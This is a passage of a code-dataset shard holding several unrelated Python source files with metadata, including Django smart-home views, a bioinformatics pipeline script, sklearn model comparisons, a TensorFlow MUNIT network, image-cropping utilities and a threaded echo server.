@wraps(function)\n def wrapper(*args, **kwargs):\n if not args[0].user.is_authenticated: return redirect('/')\n return function(*args, **kwargs)\n return wrapper\n\n# menu page renderer\n@redirect_decorator\ndef home(request):\n return render(request, 'home.html', {'arrow' : False, 'targets': Menu.objects.all()})\n\n# submenu page renderer\n@redirect_decorator\ndef menu(request, id):\n if id in ['bulb', 'door', 'fan', 'ac']:\n if id == 'bulb':\n row = Device.objects.exclude(bulb = -1)\n data = [\"checked\" if x.bulb == 1 else \"\" for x in row]\n elif id == 'door':\n row = Device.objects.exclude(door = -1)\n data = [\"checked\" if x.door == 1 else \"\" for x in row]\n elif id == 'fan':\n row = Device.objects.exclude(fan = -1)\n data = [\"checked\" if x.fan == 1 else \"\" for x in row]\n elif id == 'ac':\n row = Device.objects.exclude(ac = -1)\n data = [\"checked\" if x.ac == 1 else \"\" for x in row]\n room = [x.room for x in row]\n _id = [x.id for x in row]\n return render(request, 'menu.html', {'menu_title' : id, 'arrow' : True, 'data' : zip(room, data, _id)})\n if id in ['camera', 'temperature']:\n return render(request, 'menu2.html', {'menu_title' : id, 'arrow' : True, 'temperature' : 30})\n return redirect('home')\n\n# data feedback from the database and ardiuno\n@redirect_decorator\ndef data(request, id):\n _id = request.GET['id'][1 if request.GET['id'].startswith('c') else 0:]\n status = request.GET['status']\n value = 1 if status == 'true' else 0\n obj = Device.objects.get(id=_id)\n if id == 'bulb':\n obj.bulb = value\n # add Your Code Here for bulb\n\n elif id == 'door':\n obj.door = value\n # add Your Code Here for door\n\n elif id == 'fan':\n obj.fan = value\n # add Your Code Here for fan\n\n elif id == 'ac':\n obj.ac = value\n # add Your Code Here for ac\n\n obj.save()\n print(id, _id, status, obj.bulb, obj.door, obj.fan, obj.ac)\n return redirect(f'/home/menu/{id}')\n\n# generating camera frame\ndef gen(cam):\n while True:\n yield (b'--frame\\r\\nContent-Type: image/jpeg\\r\\n\\r\\n'\n + cam.get_frame() + b'\\r\\n\\r\\n')\n\n# sending camera feed back\ndef video_feed(request):\n return StreamingHttpResponse(gen(VideoCapture(0)),\n content_type='multipart/x-mixed-replace; boundary=frame')\n\n# user logout\ndef logout(request):\n auth.logout(request)\n return redirect('/')\n","sub_path":"home/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2903,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"272611257","text":"#----------------------------------------------------------------------------------------\n# Produce PPI template files required for PPI structural modelling.\n#----------------------------------------------------------------------------------------\n\nimport os\nfrom pathlib import Path\nfrom id_mapping import produce_chainSeq_dict\nfrom interactome_tools import write_interactome_sequences\nfrom modelling_tools import (set_pdb_dir,\n set_template_dir,\n enable_pdb_downloads,\n disable_pdb_warnings,\n write_ppi_template_sequences,\n produce_fullmodel_chain_strucRes_dict,\n produce_ppi_template_files)\n\ndef main():\n \n # reference interactome name: HI-II-14, HuRI, IntAct\n interactome_name = 'HuRI'\n \n # allow downloading of PDB structures\n allow_pdb_downloads = False\n \n # suppress PDB warnings\n suppress_pdb_warnings = True\n \n # parent directory of all data files\n dataDir = Path('../data')\n \n # parent directory of all processed data files\n procDir = dataDir / 'processed'\n \n # directory of processed data files specific to interactome\n interactomeDir = procDir / interactome_name\n \n # directory of processed template-related data files specific to interactome\n templateBasedDir = interactomeDir / 'template_based'\n \n # directory of processed model-related data files specific to interactome\n modelBasedDir = interactomeDir / 'model_based'\n \n # directory for PDB structure files\n pdbDir = Path('../../pdb_files')\n \n # directory for template structure files\n templateDir = modelBasedDir / 'ppi_templates'\n \n # input data files\n uniqueGeneSequenceFile = procDir / 'human_unique_gene_reference_sequences.txt'\n interactomeFile = templateBasedDir / 'structural_interactome.txt'\n chainSeqFile = templateBasedDir / 'protein_chain_sequences.pkl'\n chainStrucResFile = templateBasedDir / 'protein_chain_strucRes.pkl'\n \n # output data files\n interactomeSequenceFile = modelBasedDir / 'protein_sequences.fasta'\n templateSeqFastaFile = modelBasedDir / 'ppi_template_sequences.fasta'\n templateSeqFile = modelBasedDir / 'ppi_template_sequences.pkl'\n templateStrucResFile = modelBasedDir / 'ppi_template_strucRes.pkl'\n \n # create output directories if not existing\n if not modelBasedDir.exists():\n os.makedirs(modelBasedDir)\n if not pdbDir.exists():\n os.makedirs(pdbDir)\n if not templateDir.exists():\n os.makedirs(templateDir)\n \n # set directory of raw PDB coordinate files for modelling tools\n set_pdb_dir (pdbDir)\n \n # set directory of template coordinate files for modelling tools\n set_template_dir (templateDir)\n \n # enable or disable PDB downloads\n enable_pdb_downloads (allow_pdb_downloads)\n \n # suppress or allow PDB warnings\n disable_pdb_warnings (suppress_pdb_warnings)\n \n print('writing PPI protein sequences')\n write_interactome_sequences (interactomeFile,\n uniqueGeneSequenceFile,\n interactomeSequenceFile)\n \n print('Extracting coordinate files for PPI templates')\n produce_ppi_template_files (interactomeFile, chainSeqFile, chainStrucResFile)\n \n print('writing PPI template sequences to Fasta file')\n write_ppi_template_sequences (interactomeFile,\n chainSeqFile,\n chainStrucResFile,\n templateSeqFastaFile)\n \n print('producing PPI template sequence dictionary')\n produce_chainSeq_dict (templateSeqFastaFile, templateSeqFile)\n \n print('producing PPI template structured residue label file')\n produce_fullmodel_chain_strucRes_dict (templateSeqFile, templateStrucResFile)\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"build_structural_interactome_code_4/produce_ppi_template_files.py","file_name":"produce_ppi_template_files.py","file_ext":"py","file_size_in_byte":3972,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"166480898","text":"import logging\n\n\n# 创建log文件 保存\n'---------- -------log-----------'\nlogger = logging.getLogger('mylogger')\nlogger.setLevel(logging.DEBUG)\nfh = logging.FileHandler('test.log')\nformatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')\nfh.setFormatter(formatter)\nlogger.addHandler(fh)\n'--------- --------log-----------'\n","sub_path":"sprider/save_log.py","file_name":"save_log.py","file_ext":"py","file_size_in_byte":356,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"532835721","text":"import matplotlib\nmatplotlib.use('Agg')\nimport numpy as np\nfrom sklearn.svm import LinearSVC\nfrom sklearn.metrics import matthews_corrcoef\nfrom sklearn.metrics import confusion_matrix\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import classification_report\nfrom sklearn.model_selection import cross_val_score\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.tree import DecisionTreeClassifier\nimport confusion_plot\nimport matplotlib.pyplot as plt\n\n#import data from np.savez \ndef vectors_savez(input_file):\n global x, y\n filz = np.load(input_file) \n x = filz['x'] #whatever name you have used to save the vectors \n y = filz['y']\n\n return(x, y)\n\n#use sklearn train_test_split to generate train test data split\nx, y = vectors_savez('../splitoutput/ws_59_alpha_beta_globular_sp_4state.txt_split_output.txt.npz')\nx_train, x_test, y_train, y_test = train_test_split(x, y, test_size = 0.30)\n\n#decision tree classifier\n\nclf = DecisionTreeClassifier(class_weight='balanced')\ntree_cross_score = cross_val_score(clf, x_train, y_train, cv = 10, verbose=True)\nprint('Decision tree cross validation done...')\ntree_score_mean = tree_cross_score.mean()\nclf.fit(x_train, y_train)\nprint('Decision tree training done...')\ntree_y_predicted = clf.predict(x_test)\nlabels = [1, 2, 3, 4]\ntarget_names = ['G', 'M', 'I', 'O']\ntree_classreport = classification_report(y_test, tree_y_predicted, labels = labels, target_names = target_names)\ntree_confusionm = confusion_matrix(y_test, tree_y_predicted)\ntree_mcc = matthews_corrcoef(y_test, tree_y_predicted)\n\nplt.figure()\nconfusion_plot.plot_confusion_matrix(tree_confusionm, classes=target_names, normalize=True,\n title='Normalized confusion matrix')\nplt.savefig('../outputfiles/tree_confusion2.png')\nplt.tight_layout()\nplt.close()\n\n#randomforestclassifier\n\nclf = RandomForestClassifier(class_weight='balanced')\nrandom_cross_score = cross_val_score(clf, x_train, y_train, cv = 10, verbose=True)\nprint('Random forest cross validation done...')\nrandom_score_mean = random_cross_score.mean()\nclf.fit(x_train, y_train)\nprint('Random forest training done...')\n\nrandom_y_predicted = clf.predict(x_test)\nrandom_classreport = classification_report(y_test, random_y_predicted, labels = labels, target_names = target_names)\nrandom_confusionm = confusion_matrix(y_test, random_y_predicted)\nrandom_mcc = matthews_corrcoef(y_test, random_y_predicted)\n\nplt.figure()\nconfusion_plot.plot_confusion_matrix(random_confusionm, classes=target_names, normalize=True,\n title='Normalized confusion matrix')\nplt.savefig('../outputfiles/random_confusion2.png')\nplt.tight_layout()\nplt.close()\n#Training and testing the different classifiers LinearSVC, decisiontree and randomforest\n#SVM classifier\n \nclf = LinearSVC(class_weight='balanced')\nsvm_cross_score = cross_val_score(clf, x_train, y_train, cv = 10, verbose=True)\nprint('SVM cross validation done...')\nsvm_cross_mean = svm_cross_score.mean()\nclf.fit(x_train, y_train)\nprint('SVM training done...')\nsvm_y_predicted = clf.predict(x_test)\nprint(svm_y_predicted)\nsvm_classreport = classification_report(y_test, svm_y_predicted, labels = labels, target_names = target_names)\nsvm_confusionm = confusion_matrix(y_test, svm_y_predicted)\nsvm_mcc = matthews_corrcoef(y_test, svm_y_predicted)\nplt.figure()\nconfusion_plot.plot_confusion_matrix(svm_confusionm, classes=target_names, normalize=True,\n title='Normalized confusion matrix')\nplt.savefig('../outputfiles/svm_confusion2.png')\nplt.tight_layout()\nplt.close()\n\nwith open ('../outputfiles/results_svm_tree_random_balanced2.txt', 'w') as f:\n f.write('Cross-validation scores for LinearSVC: ' + str(svm_cross_mean)+ '\\n')\n f.write('Cross-validation scores for DecisionTreeClassifier: '+ str(tree_score_mean)+ '\\n')\n f.write('Cross-validation scores for RandomForestClassifier: '+ str(random_score_mean)+ '\\n')\n f.write('Matthews correlation coefficient (MCC) SVM: ' + str(svm_mcc) + '\\n')\n f.write('Matthews correlation coefficient (MCC) DecisionTreeClassifier: ' + str(tree_mcc) + '\\n')\n f.write('Matthews correlation coefficient (MCC) RandomForestClassifier: ' + str(random_mcc) + '\\n') \n f.write('Classification report SVM: ' + '\\n' + str(svm_classreport) + '\\n')\n f.write('Confusion matrix SVM: ' + '\\n' + str(svm_confusionm) + '\\n')\n f.write('Classification report DecisionTreeClassifier: ' + '\\n' + str(tree_classreport) + '\\n')\n f.write('Confusion matrix DecisionTreeClassifier: ' + '\\n' + str(tree_confusionm) + '\\n')\n f.write('Classification report RandomForestClassifier: ' + '\\n' + str(random_classreport) + '\\n')\n f.write('Confusion matrix RandomForestClassifier: ' + '\\n' + str(random_confusionm) + '\\n')\n f.close()\n\n\nif __name__ == '__main__':\n vectors_savez('../splitoutput/ws_59_alpha_beta_globular_sp_4state.txt_split_output.txt.npz')\n \n","sub_path":"scripts/comparison_3models.py","file_name":"comparison_3models.py","file_ext":"py","file_size_in_byte":4932,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"549652115","text":"import random\n\nn = int(input(\"list length = \"))\na = int(input(\"min = \"))\nb = int(input(\"max = \"))\narr = []\n\nfor i in range(n):\n arr.append(random.randint(a, b))\n\nprint(\"X = \"+str(arr))\n\nsum = 0\n\nfor i in range(len(arr)):\n if arr[i] % 2 == 0:\n sum += i\n\nprint(sum)\n","sub_path":"hometask_8/+bonus/348.py","file_name":"348.py","file_ext":"py","file_size_in_byte":277,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"51108097","text":"#!/usr/bin/env python\n# Copyright (c) 2018-2019, Ivor Wanders\n# All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are met:\n#\n# * Redistributions of source code must retain the above copyright notice, this\n# list of conditions and the following disclaimer.\n#\n# * Redistributions in binary form must reproduce the above copyright notice,\n# this list of conditions and the following disclaimer in the documentation\n# and/or other materials provided with the distribution.\n#\n# * Neither the name of the author nor the names of contributors may be used to\n# endorse or promote products derived from this software without specific\n# prior written permission.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\n# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE\n# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\n# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\nimport scalopus\nimport unittest\n\nclass MyEndpoint(scalopus.interface.Endpoint):\n def __init__(self):\n scalopus.interface.Endpoint.__init__(self)\n self.clear_incoming()\n\n def clear_incoming(self):\n self.incoming = None\n\n def handle(self, transport, incoming):\n print(\"MyEndpoint::handle: {}\".format(repr(incoming)))\n self.incoming = incoming\n # return string, bytearray or list of integers containing the response\n # to be sent. If no response is to be sent, return None.\n return incoming\n\n def getName(self):\n # This function MUST be implemented.\n return \"MyEndpointName\"\n\n def query_remote(self, request_data, wait_for=0.2):\n response = self.getTransport().request(self.getName(), request_data)\n result = response.wait_for(wait_for)\n return result\n\n\nclass PythonEndpoint(unittest.TestCase):\n\n def test_endpoint(self):\n # Create my endpoint.\n my_server_endpoint = MyEndpoint()\n my_client_endpoint = MyEndpoint()\n\n # create a server and add the endpoint to it.\n factory = scalopus.lib.transport.TransportLoopbackFactory()\n server = factory.serve()\n server.addEndpoint(my_server_endpoint)\n server.addEndpoint(scalopus.lib.general.EndpointIntrospect())\n\n # Connect a client\n discovered_servers = factory.discover()\n self.assertEqual(len(discovered_servers), 1)\n\n # Add the client endpoint.\n client = factory.connect(discovered_servers[0])\n client.addEndpoint(my_client_endpoint)\n\n # add a introspect endpoint.\n client_introspecter = scalopus.lib.general.EndpointIntrospect()\n client.addEndpoint(client_introspecter)\n\n remote_endpoints = client_introspecter.supported()\n self.assertEqual(remote_endpoints, [\"MyEndpointName\", \"introspect\"])\n\n # Try to add the endpoint on the client side, and use the query method.\n my_server_endpoint.clear_incoming()\n result = my_client_endpoint.query_remote(bytearray([1,2,3]))\n self.assertEqual(bytearray([1,2,3]), result)\n self.assertEqual(bytearray([1,2,3]), my_server_endpoint.incoming)\n\n # check if we can handle nullbytes.\n my_server_endpoint.clear_incoming()\n result = my_client_endpoint.query_remote([0xFF, 0, 5])\n self.assertEqual(result, bytearray([0xFF, 0, 5]))\n self.assertEqual(bytearray([0xFF, 0, 5]), my_server_endpoint.incoming)\n\n # Also check strings\n my_server_endpoint.clear_incoming()\n result = my_client_endpoint.query_remote(b\"foobar\")\n self.assertEqual(result, b\"foobar\")\n self.assertEqual(b\"foobar\", my_server_endpoint.incoming)\n\n # Incorrect type must throw, not crash.\n my_server_endpoint.clear_incoming()\n def will_throw():\n result = my_client_endpoint.query_remote(3)\n self.assertRaises(ValueError, will_throw)\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"scalopus_python/test/test_endpoint.py","file_name":"test_endpoint.py","file_ext":"py","file_size_in_byte":4557,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"224282264","text":"import tensorflow as tf\nfrom ops import conv2d, relu, lrelu, InstanceNorm, AdaInstanceNorm, LayerNorm, pixel_dcl, linear\n\n\ndef ResBlock(input_, dim, mu=None, sigma=None, scope='ResBlock'):\n with tf.variable_scope(scope):\n with tf.variable_scope('res_0'): \n x = conv2d(input_, dim, [3,3], stride=1, scope='conv') \n if 'AdaIN' in scope:\n x = AdaInstanceNorm(x, mu, sigma)\n else:\n x = InstanceNorm(x)\n x = relu(x)\n \n with tf.variable_scope('res_1'):\n x = conv2d(x, dim, [3,3], stride=1, scope='conv')\n if 'AdaIN' in scope:\n x = AdaInstanceNorm(x, mu, sigma)\n else:\n x = InstanceNorm(x)\n \n return input_ + x\n \ndef Upsample(input_, dim, scope='Upsample'):\n with tf.variable_scope(scope):\n x = pixel_dcl(input_, dim, name='pixel_dcl')\n x = conv2d(x, dim, [5,5], stride=1, scope='conv')\n x = LayerNorm(x, scope='layer_norm')\n x = relu(x) \n return x\n\ndef MLP(x, scope='MLP'): \n with tf.variable_scope(scope):\n dim = 256\n x = linear(x, dim, scope='linear_0')\n x = relu(x)\n \n x = linear(x, dim, scope='linear_1')\n x = relu(x) \n \n mu = linear(x, dim, scope='mu')\n sigma = linear(x, dim, scope='sigma')\n \n mu = tf.reshape(mu, shape=[-1, 1, 1, dim])\n sigma = tf.reshape(sigma, shape=[-1, 1, 1, dim])\n\n return mu, sigma \n \nclass MUNIT(object):\n def StyleEncoder(x, scope='StyleEncoder', reuse=False):\n # Downsample -> Global Pooling -> FC -> MLP\n with tf.variable_scope(scope, reuse=reuse):\n dim = 64\n x = conv2d(x, dim, [7,7], stride=1, scope='conv_0')\n x = relu(x)\n for i in range(4):\n scale = min(i+1, 2)\n x = conv2d(x, dim*scale*2, [3,3], stride=2, scope='conv_' + str(i+1))\n x = relu(x)\n \n x = tf.reduce_mean(x, axis=[1, 2], keep_dims=True)\n \n x = conv2d(x, 8, [1,1], stride=1, scope='Style_logit')\n return x\n \n def ContentEncoder(x, scope='ContentEncoder', reuse=False):\n #Downsample -> Residual Blocks\n with tf.variable_scope(scope, reuse=reuse):\n dim = 64 \n x = conv2d(x, dim, [7,7], stride=1, scope='conv_0')\n x = InstanceNorm(x, scope='in_0')\n x = relu(x)\n for i in range(2):\n scale = min(i+1, 2)\n x = conv2d(x, dim*scale*2, stride=2, scope='conv_' + str(i+1))\n x = InstanceNorm(x, scope='in_' + str(i+1))\n x = relu(x)\n \n dim = 256\n for i in range(4):\n x = ResBlock(x, dim, scope='ResBlock_'+str(i))\n return x \n \n def Decoder(content, style, scope='Decoder', reuse=False):\n with tf.variable_scope(scope, reuse=reuse):\n # (content -> ResBolck) + (style + MLP) -> Upsample\n dim = 256\n sty_mu, sty_sigma = MLP(style)\n x = content\n\n for i in range(4):\n x = ResBlock(x, dim, sty_mu, sty_sigma, scope='ResBlock_AdaIN_' + str(i))\n for i in range(2):\n scale = min(i+1, 2)\n x = Upsample(x, dim//2**scale, scope='Upsample_' + str(i))\n \n x = conv2d(x, 3, [7,7], stride=1, scope='G_logit')\n \n return tf.nn.tanh(x)\n \n def Discriminator(x_init, scope='Discriminator', reuse=False):\n D_logit = []\n with tf.variable_scope(scope, reuse=reuse):\n for scale in range(3):\n with tf.variable_scope('scale_' + str(scale+1)):\n dim = 64\n x = x_init\n for i in range(4):\n x = conv2d(x, dim*(2**i), stride=2, sn=True, scope='conv_' + str(i))\n x = lrelu(x)\n \n x = conv2d(x, 1, [1,1], stride=1, sn=True, scope='D_logit' + str(scale))\n D_logit.append(x)\n \n x_init = tf.layers.average_pooling2d(x_init, \n pool_size=3, \n strides=2, \n padding='SAME')\n return D_logit","sub_path":"network.py","file_name":"network.py","file_ext":"py","file_size_in_byte":4566,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"296133120","text":"import torch\nimport torch.nn.functional as F\nimport numpy as np\nimport cv2\nimport pdb\n\ndef numpy_to_torch(a: np.ndarray):\n return torch.from_numpy(a).float().permute(2, 0, 1).unsqueeze(0)\n\n\ndef torch_to_numpy(a: torch.Tensor):\n return a.squeeze(0).permute(1,2,0).numpy()\n\n\ndef image_crop(search_area_factor, image, target_box):\n \n bbox = target_box.clone()\n \n if bbox[2] > 0 and bbox[3]>0:\n cropped_image, cropped_detection, shifts = center_crop(search_area_factor, image, bbox)\n \n else:\n# resize_image, resize_detection, ratios = resize_image_bbox(image, bbox)\n shifts = [0,0]\n cropped_image = image\n cropped_detection = bbox\n return cropped_image, cropped_detection, shifts\n\n\ndef center_crop(search_area_factor, image, detections):\n \n image_height, image_width = image.shape[0:2]\n\n final_w = min(image_width, search_area_factor*detections[2])\n final_h = min(image_height, search_area_factor*detections[3])\n \n height = int(final_h)\n width = int(final_w)\n bbox_center = detections[0:2] + 0.5 * detections[2:4]\n\n\n ctx = int(bbox_center[0])\n cty = int(bbox_center[1])\n\n x0, x1 = max(ctx - width // 2, 0), min(ctx + width // 2, image_width)\n y0, y1 = max(cty - height // 2, 0), min(cty + height // 2, image_height)\n\n left_w, right_w = ctx - x0, x1 - ctx\n top_h, bottom_h = cty - y0, y1 - cty\n\n # crop image\n cropped_ctx, cropped_cty = width // 2, height // 2\n x_slice = slice(cropped_ctx - left_w, cropped_ctx + right_w)\n y_slice = slice(cropped_cty - top_h, cropped_cty + bottom_h)\n cropped_image = image[y0:y1, x0:x1, :]\n# cropped_image[y_slice, x_slice, :] = image[y0:y1, x0:x1, :]\n\n # crop detections\n cropped_detections = detections\n cropped_detections[0] -= x0\n cropped_detections[1] -= y0\n cropped_detections[0] += cropped_ctx - left_w\n cropped_detections[1] += cropped_cty - top_h\n x_shift = (cropped_ctx - left_w)- x0\n y_shift = (cropped_cty - top_h) - y0\n# print('detections:{}'.format(detections))\n# print('height:{}'.format(height))\n# print('width:{}'.format(width))\n# print('x0:{}'.format(x0))\n# print('x1:{}'.format(x1))\n# print('scale:{}'.format(scale))\n# print('w_border:{}'.format(w_border))\n# print('h_border:{}'.format(h_border))\n x1_pad = max(0, cropped_ctx - left_w)\n x2_pad = max(width - cropped_ctx - right_w, 0)\n\n y1_pad = max(0, cropped_cty - top_h)\n y2_pad = max(height - cropped_cty - bottom_h, 0)\n im_crop_padded = cv2.copyMakeBorder(cropped_image, y1_pad, y2_pad, x1_pad, x2_pad, cv2.BORDER_REPLICATE)\n assert im_crop_padded.shape[0] == height, \"crop size error\"\n\n return im_crop_padded, cropped_detections,[x_shift,y_shift]\n\ndef resize_image_bbox(output_sz, image, detections):\n if isinstance(output_sz, (float, int)):\n output_sz = (output_sz, output_sz)\n else:\n output_sz = output_sz\n\n height, width = image.shape[0:2]\n new_height, new_width = output_sz\n image = cv2.resize(image, (int(new_width), int(new_height)))\n\n height_ratio = new_height / height\n width_ratio = new_width / width\n detections[0] *= width_ratio\n detections[2] *= width_ratio\n detections[1] *= height_ratio\n detections[3] *= height_ratio\n \n return image, detections, [width_ratio, height_ratio]\n \ndef sample_crops_transformed(im, target_box, search_area_factor,transforms):\n \"\"\"Extract transformed image samples.\n args:\n im: Image.\n pos: Center position for extraction.\n scale: Image scale to extract features from.\n image_sz: Size to resize the image samples to before extraction.\n transforms: A set of image transforms to apply.\n \"\"\"\n\n # Get image patches\n \n crop, crop_bbox, shifts = image_crop(search_area_factor, im, target_box)\n \n crop = numpy_to_torch(crop)\n # Apply transforms\n im_patches = torch.cat([T(crop, is_mask=False) for T in transforms])\n# img = cv2.cvtColor(im_patches[0].permute(1,2,0).numpy(), cv2.COLOR_RGB2BGR)\n# c = (int(pos[0])-patch_coords[0,0]-128, int(pos[1])-patch_coords[0,1]-128)\n# cv2.circle(img, c, 5, (0, 0, 255), 0)\n# tl = (int(198)-patch_coords[0,0]-128,int(214)-patch_coords[0,1]-128)\n# print(c)\n# print(im_patch.size())\n# cv2.rectangle(img, tl, (tl[0]+34,tl[1]+81), (0, 255, 255), 3)\n# cv2.imwrite('debug/imgs/im_patch.png',img)\n \n \n return im_patches, crop_bbox, shifts\n\n\ndef sample_patch_transformed(im, pos, scale, image_sz, transforms, is_mask=False):\n \"\"\"Extract transformed image samples.\n args:\n im: Image.\n pos: Center position for extraction.\n scale: Image scale to extract features from.\n image_sz: Size to resize the image samples to before extraction.\n transforms: A set of image transforms to apply.\n \"\"\"\n\n # Get image patches\n \n im_patch, patch_coords = sample_patch(im, pos, scale*image_sz, image_sz, is_mask=is_mask)\n \n # Apply transforms\n im_patches = torch.cat([T(im_patch, is_mask=is_mask) for T in transforms])\n# img = cv2.cvtColor(im_patches[0].permute(1,2,0).numpy(), cv2.COLOR_RGB2BGR)\n# c = (int(pos[0])-patch_coords[0,0]-128, int(pos[1])-patch_coords[0,1]-128)\n# cv2.circle(img, c, 5, (0, 0, 255), 0)\n# tl = (int(198)-patch_coords[0,0]-128,int(214)-patch_coords[0,1]-128)\n# print(c)\n# print(im_patch.size())\n# cv2.rectangle(img, tl, (tl[0]+34,tl[1]+81), (0, 255, 255), 3)\n# cv2.imwrite('debug/imgs/im_patch.png',img)\n \n \n return im_patches, patch_coords\n\n\ndef sample_patch_multiscale(im, pos, scales, image_sz, mode: str='replicate', max_scale_change=None):\n \"\"\"Extract image patches at multiple scales.\n args:\n im: Image.\n pos: Center position for extraction.\n scales: Image scales to extract image patches from.\n image_sz: Size to resize the image samples to\n mode: how to treat image borders: 'replicate' (default), 'inside' or 'inside_major'\n max_scale_change: maximum allowed scale change when using 'inside' and 'inside_major' mode\n \"\"\"\n if isinstance(scales, (int, float)):\n scales = [scales]\n\n # Get image patches\n patch_iter, coord_iter = zip(*(sample_patch(im, pos, s*image_sz, image_sz, mode=mode,\n max_scale_change=max_scale_change) for s in scales))\n im_patches = torch.cat(list(patch_iter))\n patch_coords = torch.cat(list(coord_iter))\n\n return im_patches, patch_coords\n\n\ndef sample_patch(im: torch.Tensor, pos: torch.Tensor, sample_sz: torch.Tensor, output_sz: torch.Tensor = None,\n mode: str = 'replicate', max_scale_change=None, is_mask=False):\n \"\"\"Sample an image patch.\n\n args:\n im: Image\n pos: center position of crop\n sample_sz: size to crop\n output_sz: size to resize to\n mode: how to treat image borders: 'replicate' (default), 'inside' or 'inside_major'\n max_scale_change: maximum allowed scale change when using 'inside' and 'inside_major' mode\n \"\"\"\n\n # if mode not in ['replicate', 'inside']:\n # raise ValueError('Unknown border mode \\'{}\\'.'.format(mode))\n\n # copy and convert\n posl = pos.long().clone()\n im_sz = torch.Tensor([im.shape[2], im.shape[3]])\n# print('sample_sz:{}'.format(sample_sz))\n# print('im_sz: {}'.format(im_sz))\n pad_mode = mode\n# pdb.set_trace()\n # Get new sample size if forced inside the image\n if mode == 'inside' or mode == 'inside_major':\n pad_mode = 'replicate'\n \n shrink_factor = (sample_sz.float() / im_sz)\n if mode == 'inside':\n shrink_factor = shrink_factor.max()\n elif mode == 'inside_major':\n shrink_factor = shrink_factor.min()\n shrink_factor.clamp_(min=1, max=max_scale_change)\n sample_sz = (sample_sz.float() / shrink_factor).long()\n\n # Compute pre-downsampling factor\n if output_sz is not None:\n resize_factor = torch.min(sample_sz.float() / output_sz.float()).item()\n df = int(max(int(resize_factor - 0.1), 1))\n else:\n df = int(1)\n\n sz = sample_sz.float() / df # new size\n\n # Do downsampling\n if df > 1:\n os = posl % df # offset\n posl = (posl - os) / df # new position\n im2 = im[..., os[0].item()::df, os[1].item()::df] # downsample\n else:\n im2 = im\n\n # compute size to crop\n szl = torch.max(sz.round(), torch.Tensor([2])).long()\n\n # Extract top and bottom coordinates\n tl = posl - (szl - 1)/2\n br = posl + szl/2 + 1\n\n # Shift the crop to inside\n if mode == 'inside' or mode == 'inside_major':\n im2_sz = torch.LongTensor([im2.shape[2], im2.shape[3]])\n shift = (-tl).clamp(0) - (br - im2_sz).clamp(0)\n tl += shift\n br += shift\n\n outside = ((-tl).clamp(0) + (br - im2_sz).clamp(0)) // 2\n shift = (-tl - outside) * (outside > 0).long()\n tl += shift\n br += shift\n\n # Get image patch\n # im_patch = im2[...,tl[0].item():br[0].item(),tl[1].item():br[1].item()]\n\n # Get image patch\n if not is_mask:\n im_patch = F.pad(im2, (-tl[0].item(), br[0].item() - im2.shape[3], -tl[1].item(), br[1].item() - im2.shape[2]), pad_mode)\n else:\n im_patch = F.pad(im2, (-tl[0].item(), br[0].item() - im2.shape[3], -tl[1].item(), br[1].item() - im2.shape[2]))\n\n # Get image coordinates\n patch_coord = df * torch.cat((tl, br)).view(1,4)\n\n if output_sz is None or (im_patch.shape[-2] == output_sz[0] and im_patch.shape[-1] == output_sz[1]):\n return im_patch.clone(), patch_coord\n\n # Resample\n if not is_mask:\n im_patch = F.interpolate(im_patch, output_sz.long().tolist(), mode='bilinear')\n else:\n im_patch = F.interpolate(im_patch, output_sz.long().tolist(), mode='nearest')\n\n return im_patch, patch_coord\n","sub_path":"toolkit/utils/preprocessing.py","file_name":"preprocessing.py","file_ext":"py","file_size_in_byte":9961,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"73725915","text":"import socket\nfrom threading import Thread\n\n\ndef echo_server(port):\n serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n serversocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, True)\n serversocket.bind(('', port))\n serversocket.listen(5)\n while True:\n client, address = serversocket.accept()\n addr = client.getpeername()\n Thread(target=do_echo, args = (client, addr)).start()\n print(\"server: done\")\n\n\ndef do_echo(client, addr):\n with client:\n while True:\n data = client.recv(100)\n if not data:\n break\n message = data.decode()\n print(\"Server Received %r from %r\" % (message, addr))\n resp = b\"Got: \" + str.encode(message)\n client.sendall(resp)","sub_path":"async/server-sync-2-mt.py","file_name":"server-sync-2-mt.py","file_ext":"py","file_size_in_byte":793,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"290824","text":"import sys\n\nfrom PyQt5.QtCore import QEvent, QPoint, QPointF, 